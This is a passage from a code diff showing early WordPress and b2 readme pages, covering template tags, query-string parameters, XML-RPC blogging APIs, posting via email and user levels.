link, or 'title' that appends '#title_of_post_50' (default is 'id')</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php permalink_single() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>this will display the name of the file followed by #ID to link
to the entire post (the linked page will also show the extended text on
that post if it is an extended entry, and the comments).<br />
note: this tag does not display the link, for this you've got to type
&lt;a href=&quot;&lt;?php permalink_single() ?&gt;&quot;&gt;text of the
link&lt;/a&gt;.<br />
<div class="params">Parameters:
<ul>
<li>file name, in case you want to use a different template for single
posts (default is the current template)</li>
</ul>
</div>
<br />
<br />
<br />
<strong>Tags for comments, trackback, and pingback</strong> are:<br />
<br />
<strong>&lt;?php comments_popup_script() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
This will include the javascript that is required to open comments, trackback
and pingback in popup windows.<br />
You should put this tag before the &lt;/head> tag in your template.<br />
<div class="params">Parameters:
<ul>
<li>width (default is 400)</li>
<li>height (default is 400)</li>
<li>file name, in case you want to use a different template for comments
(default is b2commentspopup.php)</li>
<li>file name, in case you want to use a different template for TrackBacks
(default is b2trackbackpopup.php)</li>
<li>file name, in case you want to use a different template for Pingbacks
(default is b2pingbackspopup.php)</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php comments_popup_link() ?&gt;<span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
This will display the link to open comments in a popup window, with the
number of comments.<br />
To edit the popup window's template, edit the file b2commentspopup.php
(it's the default one for comments popup).<br />
<br />
Note:<br />
The same tags exist for TrackBack and Pingback, respectively named '<b>trackback_popup_link()</b>'
and '<b>pingback_popup_link()</b>'. They take the same parameters.<br />
<br />
<div class="params">Parameters:
<ul>
<li>string for comment-less posts (default is &quot;no comments&quot;)</li>
<li>string for posts with one comment (default is &quot;1 comment&quot;)</li>
<li>string for posts with 2 or more comments (default is &quot;% comments&quot;)<br />
Note here that the sign &quot;%&quot; is then replaced by the number
of comments.</li>
<li>string for CSS class, so you can have a styled link with class=""
(default is empty, no CSS class applied)</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php comments_link() ?&gt;<br />
</strong> This is a bit like permalink_link, it will display an URL to
the comments page, but again you'll have to create the link tag.<br />
<br />
Note:<br />
The same tags exist for TrackBack and Pingback, respectively named '<b>trackback_link()</b>'
and '<b>pingback_link()</b>'. They take the same parameters.<br />
<br />
<div class="params">Parameters:
<ul>
<li>file name, in case you want to use a different template for comments
(default is the current template)</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php comments_number() ?&gt;</strong> <br />
This displays the number of comments that have been posted on this post.
Example: &quot;5 comments&quot;.<br />
<br />
Note:<br />
The same tags exist for TrackBack and Pingback, respectively named '<b>trackback_number()</b>'
and '<b>pingback_number()</b>'. They take the same parameters.<br />
<br />
<div class="params">Parameters:
<ul>
<li>string for comment-less posts (default is &quot;no comments&quot;)</li>
<li>string for posts with one comment (default is &quot;1 comment&quot;)</li>
<li>string for posts with 2 or more comments (default is &quot;% comments&quot;)<br />
Note here that the sign &quot;%&quot; is then replaced by the number
of comments.</li>
</ul>
</div>
<br />
Example: <em>&lt;?php comments_number(&quot;no comment&quot;,&quot;1 comment&quot;,&quot;%
comments&quot;) ?&gt;</em><br />
<br />
This tag differs from v0.5's tag because in v0.5 and prior, it would only
display a number, not a text with it, so you could have terrible things
like &quot;1 comments&quot; (doh !)<br />
<br />
<strong>Necessary: &lt;?php include(&quot;b2comments.php&quot;) ?&gt;</strong><br />
you'll put this line where you want the comments to be placed on your
page.<br />
typically, under the post itself. don't worry, the comments only appear
if the page is called in the comments mode. (like this: url?c=1)<br />
<br />
<strong>Necessary: &lt;?php include(&quot;b2trackback.php&quot;) ?&gt;</strong><br />
you'll put this line where you want the TrackBacks to be placed on your
page.<br />
typically, under the post itself. don't worry, the TrackBacks only appear
if the page is called in the TrackBacks mode. (like this: url?tb=1)<br />
<br />
<strong>Necessary: &lt;?php include(&quot;b2pingbacks.php&quot;) ?&gt;</strong><br />
you'll put this line where you want the Pingbacks to be placed on your
page.<br />
typically, under the post itself. don't worry, the Pingbacks only appear
if the page is called in the Pingbacks mode. (like this: url?pb=1)<br />
<br />
<br />
<strong>Tags that go in b2comments.php, b2trackback.php, b2pingbacks.php:</strong>
(these are easy too)<br />
<br />
<strong>&lt;?php comment_author() ?&gt;</strong><br />
<strong>&lt;?php comment_author_email() ?&gt; </strong> - displays the
e-mail address, but not the link<br />
<strong>&lt;?php comment_author_url() ?&gt; </strong>- displays the url,
but not the link<br />
<br />
<strong>&lt;?php comment_author_email_link() ?&gt; </strong> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span>-
displays a link to the comment's author's e-mail<br />
<strong>&lt;?php comment_author_url_link() ?&gt; </strong> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span>-
displays a link to the comment's author's website<br />
<div class="params">Parameters for <strong>comment_author_email_link()</strong>
and <strong>comment_author_url_link()</strong>:
<ul>
<li>string for the link (default: "email"/"url" depending on the tag)</li>
<li>string to display before the link (default is " - ")</li>
<li>string to display after the link (default is blank)</li>
</ul>
</div>
<br />
<strong>&lt;?php comment_author_IP() ?&gt;</strong> - displays the IP
of the comment's author<br />
<strong>&lt;?php comment_text() ?&gt;<br />
&lt;?php comment_date() ?&gt; </strong>- unlike the_date(), this tag appears
on every comment<strong><br />
&lt;?php comment_time() ?&gt;</strong><br />
<div class="params">Parameters for <strong>comment_date()</strong> and
<strong>comment_time()</strong>:
<ul>
<li>format string (default is "d.m.y"/"H:i:s" depending on the tag)</li>
</ul>
</div>
<br />
<strong>&lt;?php trackback_url() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
This tag is out of the b2 TrackBacks loop.<br />
It will output the URL to TrackBack the post, that other people can copy
and use in b2's posting interface to trackback this post.<br />
<div class="params">Parameters:
<ul>
<li>no parameter</li>
</ul>
</div>
<br />
<br />
In b2comments.php b2trackback.php and b2pingbacks.php, like in the main
template file, please keep the first PHP lines, the &quot;while&quot;
lines, and the &quot;}&quot; lines.<br />
You can modify the form, but do not remove &quot;&lt;?php echo ... ?&gt;&quot;
and all the name=&quot;...&quot; attributes.<br />
<br />
<br />
To <strong>include your archives:</strong><br />
<br />
<strong>&lt;?php include(&quot;b2archives.php&quot;) ?&gt;</strong><br />
this will include the links to your archives, one link per line.<br />
if your archive mode is &quot;monthly&quot;, it will display the names
of the months and the years, like &quot;july 2001&quot;.<br />
if your archive mode is &quot;post by post&quot;, it will display the
titles of your posts, one title per line. if a post is untitled it will
display the ID (number) of this post.<br />
<br />
<br />
To <strong>include the calendar:</strong><br />
<br />
<strong>&lt;?php include(&quot;b2calendar.php&quot;) ?&gt;</strong><br />
this will include a table with the current month's calendar, each day
when you posted shows a link to this day's posts. You can customise this
table with CSS classes:
<div class="params"> <strong>.b2calendarmonth {}</strong><br />
&nbsp; &nbsp; <i>the style that is used to display the month and year</i><br />
<strong>.b2calendartable {}</strong><br />
&nbsp; &nbsp; <i>the style of the &lt;table> tag (border etc...)</i><br />
<strong>.b2calendarrow {}</strong><br />
&nbsp; &nbsp; <i>the style of the &lt;tr> tag</i><br />
<strong>.b2calendarheadercell {}</strong><br />
&nbsp; &nbsp; <i>the style of the &lt;td> tag that shows the weekdays
on the top of the table</i><br />
<strong>.b2calendarcell {}</strong><br />
&nbsp; &nbsp; <i>the style of the &lt;td> tags that show the days</i><br />
<strong>.b2calendaremptycell {}</strong><br />
&nbsp; &nbsp; <i>the style of the &lt;td> tags that are empty</i><br />
<strong>.b2calendarlinkpost {}</strong><br />
&nbsp; &nbsp; <i>the style of the link to the post</i><br />
<strong>.b2calendartoday {}</strong><br />
&nbsp; &nbsp; <i>the style of the day if it is today</i> </div>
</blockquote>
<a name="usage"></a> <h1>Query String Usage:</h1>
<p>WordPress relies a lot on the query string, these variables passed with
the URL (note: to pass variables in the querystring, preceed the first
variable name with a '?' question mark and every other variables with
a '&amp;' sign.)</p>
<p>Most of the time you won't have to do anything about it, but if you want
to know how it works, it's here:</p>
<p>How to use the query string:</p>
<blockquote> index.php<strong>?m=200107</strong> will display the month
of July 2001.<br />
<br />
index.php<strong>?m=20010701</strong> will display all posts from July
1st, 2001.<br />
<br />
index.php<strong>?w=20</strong> will display the posts from the 20th week
of the year, where January 1st is in the first week (according to PHP).<br />
<br />
index.php<strong>?p=50</strong> will display the post labeled #50 in the
database.<br />
<br />
index.php<strong>?s=blue+house</strong> will display the posts that match
the search request &quot;blue house&quot;.<br />
here is the code for a simple search box:<br />
<br />
<code>&lt;form name=&quot;searchform&quot; action=&quot;&lt;?php echo
$PHP_SELF ?&gt;&quot; method=&quot;get&quot;&gt;<br />
&lt;input type=&quot;text&quot; name=&quot;s&quot; /&gt;<br />
&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;search&quot;
/&gt;<br />
&lt;/form&gt; </code><br />
<br />
index.php<strong>?cat=1</strong> will display all posts that belong to
category #1 (1 is the default). you can add/rename/delete categories from
b2's interface.<br />
<br />
index.php<strong>?author=1</strong> will display all posts from the author
#1<br />
<br />
index.php<strong>?p=50&c=1</strong> will display the comments and a form
to add a comment below the post.<br />
you should use this variable only with <strong>p=</strong>, example: index.php<strong>?p=50&amp;c=1</strong>.<br />
<br />
index.php<strong>?p=50&tb=1</strong> will display the TrackBacks to the
post #50.<br />
you should use this variable only with <strong>p=</strong>, example: index.php<strong>?p=50&amp;tb=1</strong>.<br />
<br />
index.php<strong>?p=50&pb=1</strong> will display the Pingbacks to the
post #50.<br />
you should use this variable only with <strong>p=</strong>, example: index.php<strong>?p=50&amp;pb=1</strong>.<br />
<br />
index.php<strong>?p=50&more=1</strong> will display the extended entries'
text. this, too, should be used only with <strong>p=</strong>, for individual
entries.<br />
<br />
index.php<strong>?p=50&page=1</strong> will display the first page of
post #50. this, again, should be used only with <strong>p=</strong>, for
individual entries.<br />
<br />
You can also mix these variables, example: index.php<strong>?m=200107&amp;s=hotdog</strong>
will display the posts that match the search request &quot;hotdog&quot;,
but only in July 2001. </blockquote>
<p>&nbsp;</p>
<a name="xmlrpc"></a> <h1>XML-RPC Interface:</h1>
<p>WordPress now has a XMLRPC interface. The only API available right now
is the Blogger API (complete specs <a href="http://www.tswoam.co.uk/blogger_method_listing.html">here</a>).
There are talks about a new API that would cover a lot of weblog/CMS systems
in the future: when it's ready, WordPress will support it.</p>
<p> The <a href="http://plant.blogger.com/api">Blogger API</a> has been
completely emulated on WordPress, with some little differences:</p>
<ul>
<li>using <em>blogger.getRecentPosts</em> with the number 'zero' returns
all posts in the blog</li>
<li><em>blogger.getTemplate</em> fetches your file $blogfilename (as specified
in the config), while <em>blogger.setTemplate</em> overwrites it with
the edited data</li>
<li><em>blogger.getUsersBlogs</em> is a dummy function that returns '1'
and $blogname, since b2 supports only one blog as of now</li>
</ul>
<p>If you use blogger.newPost, your post is submitted without title and
in category #1.</p>
<p> However, you can type &lt;title>my title&lt;/title> and/or &lt;category>2&lt;category>
in the body of your post to make its title be 'my title' and its category
be #2 (refer to your categories section to find out the ID numbers of
the categories). b2 would then delete that extra info from the body of
your post once it is posted.</p>
<p> You can now post to your b2 blog with tools like <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>,
<a href="http://bloggar.cjb.net">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a>
(post from your Wap cellphone!), <a href="http://radio.userland.com">Radio
Userland</a> (which means you can use Radio's email-to-blog feature),
and other tools that support the Blogger API ! :)</p>
<p>Your XMLRPC server/path are as described here: if you login to b2 on
http://mydomain.com/me/b2login.php, then you have:</p>
<ul>
<li>server: http://example.com/me</li>
<li>path: /me/xmlrpc.php</li>
<li>complete URL (just in case): http://example.com/me/xmlrpc.php</li>
</ul>
<p>There's also a b2-specific method: b2.getCategories. Request it with
3 strings: blog_ID (use '1'), username, password. The response is an array
of structs with strings categoryID and categoryName.<br />
<br />
</p>
<p>&nbsp;</p>
<a name="postviaemail"></a> <h1>Post via Email:</h1>
<p>You can post news from an email client!<br />
But first you'll have to edit b2config.php, filling the appropriate values
for your POP3 email account (this interface doesn't support IMAP yet,
only POP3, sorry).</p>
<p> Once you have edited the config options, you can make your webserver
execute b2mail.php every set amount of time (depending on your host's
performance, this script can be resource intensive, so don't make it run
every minute or you'll be kicked).</p>
<p>You can do it with Cron-jobs, or if your host doesn't support it you
can look into the various website-monitoring services, and make them check
your b2mail.php URL.</p>
<h2> Preliminary advice:</h2>
<p> It is strongly advised to send your email as text-only (Outlook and
Outlook Express default to 'html', which may cause problems), but HTML
email could work (the script would strip all your html tags though...).</p>
<p>It is also advised not to use your public email address, but create a
new one especially for this script. If you use your public email address
and the script goes crazy posting every email on your blog and deleting
all your emails, I can't take responsibility for this.</p>
<p>Make sure you delete any email sent to your blog in your 'Sent' folder
too, just in case (you don't want someone to find your login and password
in the 'Sent' folder).</p>
<p> The script will <i>delete</i> the emails that were used to post stuff
on your weblog if it successfully posted your stuff. If it didn't manage
to post, the email is not deleted.</p>
<h2>How to post:</h2>
<p>Now to post something, here's how your email should look like:</p>
<div class="params"> <b>To:</b> address@domain.com <span style='color: #999'>(you
set it in the config file)</span><br />
<b>Subject:</b> blog:the post's title <span style='color: #999'>(you can
change 'blog:' in the config file)</span><br />
<b>Body:</b><br>
login:password <span style='color: #999'>(example: <i>Jack:Starwars</i>)</span><br />
The content of the post, blah blah blah.<br />
More blah blah. ___ </div>
<p> Subject must start with 'blog:', or any string you set in the config
file (so that the script doesn't check EVERY email in your mailbox).</p>
<p>Body's first line must always be login:password, else the script will
just skip the email.<br />
If you don't use '___' (or any body terminator that you set in the config
file), the script will post the whole body, which is not what you want
if you send email with Yahoo or Hotmail (you don't want their ads on your
blog, do you ?).</p>
<h2>Special cases for mobile phone email:</h2>
<p> Some mobile phone service providers may allow you to send email with
your mobile phone or PDA, but on such devices you can't always include
line breaks. In such case, you have to set <i>$use_phoneemail = 1</i>
in b2config.php, and then here's how you write the email:</p>
<div class="params"> <b>To:</b> address@domain.com<br />
<b>Subject:</b> blog:the post's title <b>:::</b><br />
<b>Body:</b><br>
login:password <b>:::</b> The content of the post, blah blah blah.___
</div>
<p>You will have to append ':::' (or whatever string you set in the config
file) after the subject, and after the login:password.<br />
<br />
Some mobile phone service providers may not allow you to set a subject,
and they'll make the subject be the first characters of the body, in which
case you would send an email like this:</p>
<div class="params"> <b>To:</b> address@domain.com<br />
<b>Body:</b><br>
blog:the post's title <b>:::</b> login:password <b>:::</b> The content
of the post, blah blah blah.___ </div>
<p>&nbsp;</p>
<a name="notes"></a> <h1>Notes: </h1>
<p>On multi-user:</p>
<p>New users can register with <code>b2register.php</code>. Then you (as
an admin) click the &quot;+&quot; next to their name on the Team page
in admin to upgrade their level to 1 or more, so they can post. If you
don't want an user to post anymore, just click &quot;-&quot; until their
level is 0.</p>
<p>Note: you can now disable users registration altogether from the config
file.</p>
<p><strong>Levels</strong>:</p>
<ul>
<li> 0 - new user: can't post.</li>
<li>1 - user: can post &amp; edit/delete their own posts.</li>
<li>3 &amp; more - admin: can post, edit/delete other people's posts,
and change the options.</li>
<li>Any user whose level is higher than 1, can edit/delete the posts and
change the level of users whose level is inferior. Example: a level
2 user is not an admin, but can edit the posts of level 1 users, and
up the level of a new user from 0 to 1.</li>
</ul>
<p>Usually, you'll want to have a team of only level 1 users except you.
;)</p>
<p><strong>Note:</strong> you can modify a variable in b2config.php, to
enable new users to post once they've registered.</p>
<p>If you don't want users to register on your blog at all, just delete
b2register.php once you've registered your user account. </p>
<h1><br />
Final notes:</h1>
<ul>
<li>WordPress is functional, but a lot of coding and code clean-up remain
to be done.</li>
<li>If you've got suggestions, ideas, or comments, or if you found a bug,
why not joining us in the <a href="http://wordpress.org/support/">Support
Forums</a>?</li>
<li>If you can code in PHP, you'll see the structure of WordPress is flexible
enough to allow for more functions and sections to be added.</li>
</ul>
<h1><br />
Copyright notes:</h1>
<ul>
<li> Wherever third party code has been used, credit has been given in
the code's comments.</li>
<li>WordPress is released under the <acronym title="GNU Public License">GPL</acronym>
(see license.txt).</li>
</ul></td>
</tr>
</table>
<p>&nbsp;</p>
</body>
</html>

View File

@@ -0,0 +1,248 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>WordPress&#8212;ReadMe</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css" media="screen">
<!--
body {
background: #fff;
color: #000;
font-family: Georgia, "Times New Roman", Times, serif;
margin-left: 25%;
margin-right: 25%;
}
h1 {
color: #006;
font-size: 18px;
font-weight: lighter;
}
h2 {
font-size: 16px;
}
.tag {
background: #FFFF99
color: #000;
}
p, li {
line-height: 140%;
padding-bottom: 2px;
}
.file {
background: #d4f5ff;
color: #000;
}
.tag {
background: #FFFF99;
color: #000;
}
ul, ol {
padding: 5px 5px 5px 20px;
}
.params {
border: 1px solid #ccc;
font: 12px arial,helvetica,sans-serif;
margin: 5px;
margin-left: 20px;
margin-right: 80px;
padding: 5px;
}
-->
</style>
</head>
<body>
<p style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
Version 1.0.1</p>
<p style="text-align: center">Weblog / News Publishing Tool</p>
<p style="text-align: center"><a href="#requirements">Requirements</a> - <a href="#installation">Installation</a> - <a href="#templates">Template(s)</a> - <a href="#usage">Query String Usage</a> - <a href="#xmlrpc">XML-RPC (Blogging APIs)</a> - <a href="#postviaemail">Post Via Email</a> - <a href="#notes">Notes</a></p>
<h1 id="requirements">Requirements:</h1>
<ul>
<li><strong>PHP4</strong> (version 4.0.6 or higher)</li>
<li><strong>MySQL</strong> (version 3.23.23 or higher)</li>
<li>... and a link to <a href="http://wordpress.org">http://wordpress.org</a> on your site.</li>
</ul>
<p>The link will help promote <a href="http://wordpress.org">WordPress</a> and is its only mean of promotion. </p>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2</a>, which comes from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
<p>This document is currently <em>beta</em> stage, we'll be updating it extensively as WordPress matures. There is also <a href="http://wordpress.org/docs/">online documentation</a> under development, as well as a <a href="http://wiki.wordpress.org">wiki</a>.</p>
<h1 id="installation">Installation:</h1>
<h2>New users: 5-minute install.</h2>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Upload everything. This release is designed to sit in your root folder; i.e, the folder where your WordPress-powered page will reside.</li>
<li>(Optional) If you're going to use it, the weblogs.com cache file needs to be writable by the web server. <a href="http://www.evolt.org/article/A_quick_and_dirty_chmod_Tutorial/18/541/">CHMOD 666</a> the <span class="file"><code>wp-content/link-update-cache.xml</code></span> file. </li>
<li>
<p>Point your browser to <span class="file">wp-admin/install-config.php</span>. This will create a configuration file for your installation. You'll need to know your database name, username, password, and host name.</p>
<p>Alternately, you may open <span class="file">wp-config-sample.php</span> in a text editor and insert your database name, username, password, and host name as indicated in the comments. (Comments are lines that start with <code>/*</code> or <code>//</code>.) Save this file as <span class="file">wp-config.php</span>, and upload it.</p>
</li>
<li> Launch <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the MySQL database for your blog. <strong>Note the password given to you.</strong> If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> and make a post with all the information about the failure (error messages, etc), and your setup (the PHP and MySQL versions on your server, and the browser you were using). </li>
<li> The install script should then send you to the login page. Sign in with the username "admin" and the password generated during the installation. Then click on the item 'My Profile', and change the password. The login page may also be accessed by going to <span class="file"><a href="wp-login.php">wp-login.php</a></span>.</li>
</ol>
<h2>Some notes:</h2>
<ul>
<li>Whenever you want to post something, just open a browser and go to <span class="file"><a href="wp-login.php">wp-login.php</a></span> to log in and post.</li>
<li>You can also use a bookmarklet and/or a sidebar (IE5+/NS6+) to post.</li>
<li> You can also post through the Blogger, MetaWeblog, and MovableType APIs, <a href="#xmlrpc">click here</a> for more info.</li>
<li> By default, your site's blog is located at <span class="file">index.php</span>, which is an elaborate .CSS-based template. There is a non-.CSS template you can also use, called <span class="file">wp.php</span>. You can rename either of these files as any other name you fancy (provided it bears the php extension or is interpreted as a php file by your server).</li>
</ul>
<h2>Preface for all upgrades:</h2>
<ul><li><strong>Back up</strong> your database before you do anything. </li>
<li>If you haven't already, we strongly suggest that you <strong>BACK UP</strong> your database.</li>
<li>Have you <strong>BACKED UP</strong> your database? Yeah? GREAT!</li>
<li>If you don't know how to do this, <a href="http://wordpress.org/support/10/1384">this script</a> may help.</li>
</ul>
<h2>Upgrading from any previous WordPress to v1.0.1:</h2>
<ul>
<li><strong>Backup your database.</strong> Yes, you. Right now.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ul>
<h2>Note on upgrading to v1.0.1:</h2>
<ul>
<li>It is <strong>strongly</strong> recommended that you use the new <span class="file"> index.php</span> for your templates, rather than simply upgrading your old one. Sure, it'll take a little time, but you'll be much happier with the results when you do!</li>
<h2>Upgrading from b2 v0.6.1/v0.6.2.2 to WordPress v1.0.1:</h2>
<ul>
<li><strong>Back up</strong> your database before you do anything. Yes, you. Right now.</li>
<li>You <em>must</em> configure <span class="file"><code>wp-config.php</code></span> as indicated in the "5-minute install" section.</li>
<li>All you <em>really</em> have to do is replace all the files with newer versions and run <span class="file">wp-admin/upgrade.php</span> and you should be ready to go.</li>
<li>There is also an import script at <span class="file">wp-admin/import-b2.php</span>.</li>
<li>If you're using an older version of b2, it's probably a good idea to upgrade to at least .6.1 before making the leap to WordPress.</li>
<li>The templates are better and structured slightly differently, so it might be worth it to start from scratch and work back to your design.</li>
<li>WordPress issues should be discussed in our <a href="http://wordpress.org/support/">support forums</a>.</li>
</ul>
<h2>Upgrading to WordPress v1.0.1 from Movable Type, Textpattern, GreyMatter, & Blogger</h2>
<ul>
<li>Did we mention <strong>BACKING UP</strong> your database first?</li>
<li>Each of these tools has an import script available. They are all located in the wp-admin directory, and must first be configured with your database information before they are executed.
<li>Detailed importing instructions are given during the execution of the import script.
<li>Textpattern: run <span class="file"><a href="wp-admin/import-textpattern.php">wp-admin/import-textpattern.php</a></span>.</li>
<li>GreyMatter: run <span class="file"><a href="wp-admin/import-greymatter.php">wp-admin/import-greymatter.php</a></span>.</li>
<li>Blogger: run <span class="file"><a href="wp-admin/import-blogger.php">wp-admin/import-blogger.php</a></span>.</li>
<li>Movable Type: run <a href="wp-admin/import-mt.php" class="file">wp-admin/import-mt.php</a>. </li>
</ul>
<h1 id="templates">Templates:</h1>
<p>For information about WordPress templates, please see our <a href="http://wordpress.org/docs/template/">online documentation on them</a>. </p>
<h2>First notes:</h2>
<h1 id="usage">Query String Usage:</h1>
<p>WordPress relies a lot on the query string. These variables passed with the URL (note: to pass variables in the querystring, preceed the first variable name with a '?' question mark and every other variables with a '&amp;' sign.)</p>
<p>Most of the time you won't have to do anything about it, but if you want to know how it works, it's here:</p>
<p>How to use the query string:</p>
<p>index.php<strong>?m=200107</strong> will display the month of July 2001.</p>
<p>index.php<strong>?m=20010701</strong> will display all posts from July 1st, 2001.</p>
<p>index.php<strong>?w=20</strong> will display the posts from the 20th week of the year, where January 1st is in the first week (according to PHP).</p>
<p>index.php<strong>?p=50</strong> will display the post labeled #50 in the database.</p>
<p>index.php<strong>?s=blue+house</strong> will display the posts that match the search request "blue house".<br />
here is the code for a simple search box:</p>
<p><code>&lt;form name="searchform" action="&lt;?php echo $PHP_SELF ?&gt;" method="get"&gt;<br />
&lt;input type="text" name="s" /&gt;<br />
&lt;input type="submit" name="submit" value="search" /&gt;<br />
&lt;/form&gt; </code></p>
<p>index.php<strong>?cat=1</strong> will display all posts that belong to category #1 (1 is the default). you can add/rename/delete categories from WordPress's interface.</p>
<p>index.php<strong>?author=1</strong> will display all posts from the author #1</p>
<p>index.php<strong>?p=50&amp;c=1</strong> will display the comments and a form to add a comment below the post.<br />
you should use this variable only with <strong>p=</strong>, example: index.php<strong>?p=50&amp;c=1</strong>.</p>
<p>index.php<strong>?p=50&amp;page=1</strong> will display the first page of post #50. this, again, should be used only with <strong>p=</strong>, for individual entries.</p>
<p>You can also mix these variables, example: index.php<strong>?m=200107&amp;s=hotdog</strong> will display the posts that match the search request "hotdog", but only in July 2001.</p>
<h1 id="xmlrpc">XML-RPC Interface:</h1>
<p>WordPress has an XMLRPC interface. Currently supported APIs are the <a href="http://www.blogger.com/developers/api/1_docs/">Blogger API</a>, <a href="http://www.xmlrpc.com/metaWeblogApi">metaWeblog API</a>, and the <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType API</a>. There are talks about a new API that would cover a lot of weblog/CMS systems in the future: when it's ready, WordPress will support it.</p>
<p> The <a href="http://www.blogger.com/developers/api/1_docs/">Blogger API</a> has been completely emulated on WordPress, with some little differences:</p>
<ul>
<li>using <em>blogger.getRecentPosts</em> with the number 'zero' returns all posts in the blog</li>
<li><em>blogger.getTemplate</em> fetches your file $blogfilename (as specified in the config), while <em>blogger.setTemplate</em> overwrites it with the edited data</li>
<li><em>blogger.getUsersBlogs</em> is a dummy function that returns '1' and $blogname, since WordPress supports only one blog as of now</li>
</ul>
<p>If you use blogger.newPost, your post is submitted without title and in category #1.</p>
<p> However, you can type &lt;title&gt;my title&lt;/title&gt; and/or &lt;category&gt;2&lt;category&gt; in the body of your post to make its title be 'my title' and its category be #2 (refer to your categories section to find out the ID numbers of the categories). b2 would then delete that extra info from the body of your post once it is posted.</p>
<p>The <a href="http://www.xmlrpc.com/metaWeblogApi">metaWeblog</a> and <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType</a> APIs are currently supported with the following exceptions:</p>
<ul>
<li>metaWeblog.newMediaObject,&nbsp; mt.getRecentPostTitles,&nbsp; and mt.getTrackbackPings are not yet implemented</li>
<li>mt.supportedTextFilters is a dummy stub function that returns an empty string</li>
<li>keywords are not supported in the MovableType API</li>
</ul>
<br />
Extended entries in the <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType API</a> are automatically converted to/from the WordPress &lt;!--more--&gt; tag.<br />
<p>You can now post to your WordPress blog with tools like <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :)</p>
<p>Your XMLRPC server/path are as described here: if you login to WordPress on http://example.com/me/wp-login.php, then you have:</p>
<ul>
<li>server: http://example.com/ (some tools will just want the 'example.com' hostname part)</li>
<li>path: /me/xmlrpc.php</li>
<li>complete URL (just in case): http://example.com/me/xmlrpc.php</li>
</ul>
<p>There's also a b2-specific method: b2.getCategories. Request it with 3 strings: blog_ID (use '1'), username, password. The response is an array of structs with strings categoryID and categoryName.</p>
<h1 id="postviaemail">Post via Email:</h1>
<p>You can post news from an email client!<br />
But first you'll have to edit the options on the options screen, filling the appropriate values for your POP3 email account (this interface doesn't support IMAP yet, only POP3, sorry).</p>
<p> Once you have edited the options, you can make your webserver execute wp-mail.php every set amount of time (depending on your host's performance, this script can be resource intensive, so don't make it run every minute or you'll be kicked).</p>
<p>You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.</p>
<h2> Preliminary advice:</h2>
<p> It is strongly advised to send your email as text-only (Outlook and Outlook Express default to 'html', which may cause problems), but HTML email could work (the script would strip all your html tags though...).</p>
<p>It is also advised not to use your public email address, but create a new one especially for this script. If you use your public email address and the script goes crazy posting every email on your blog and deleting all your emails, I can't take responsibility for this.</p>
<p>Make sure you delete any email sent to your blog in your 'Sent' folder too, just in case (you don't want someone to find your login and password in the 'Sent' folder).</p>
<p> The script will <i>delete</i> the emails that were used to post stuff on your weblog if it successfully posted your stuff. If it didn't manage to post, the email is not deleted.</p>
<h2>How to post:</h2>
<p>Now to post something, here's how your email should look like:</p>
<div class="params"> <b>To:</b> address@example.com <span
style="color: rgb(153, 153, 153);">(you set it in the config file)</span><br />
<b>Subject:</b> blog:the post's title <span
style="color: rgb(153, 153, 153);">(you can change 'blog:' in the config file)</span><br />
<b>Body:</b><br />
login:password <span style="color: rgb(153, 153, 153);">(example: <i>Jack:Starwars</i>)</span><br />
The content of the post, blah blah blah.<br />
More blah blah. ___ </div>
<p> Subject must start with 'blog:', or any string you set in the config file (so that the script doesn't check EVERY email in your mailbox).</p>
<p>Body's first line must always be login:password, else the script will just skip the email.</p>
<p> If you don't use '___' (or any body terminator that you set in the config file), the script will post the whole body, which is not what you want if you send email with Yahoo or Hotmail (you don't want their ads on your blog, do you ?).</p>
<h2>Special cases for mobile phone email:</h2>
<p> Some mobile phone service providers may allow you to send email with your mobile phone or PDA, but on such devices you can't always include line breaks. In such case, you have to set <i>use_phoneemail = true</i> in the options, and then here's how you write the email:</p>
<div class="params"> <b>To:</b> address@example.com<br />
<b>Subject:</b> blog:the post's title <b>:::</b><br />
<b>Body:</b><br />
login:password <b>:::</b> The content of the post, blah blah blah.___ </div>
<p>You will have to append ':::' (or whatever string you set in the config file) after the subject, and after the login:password.</p>
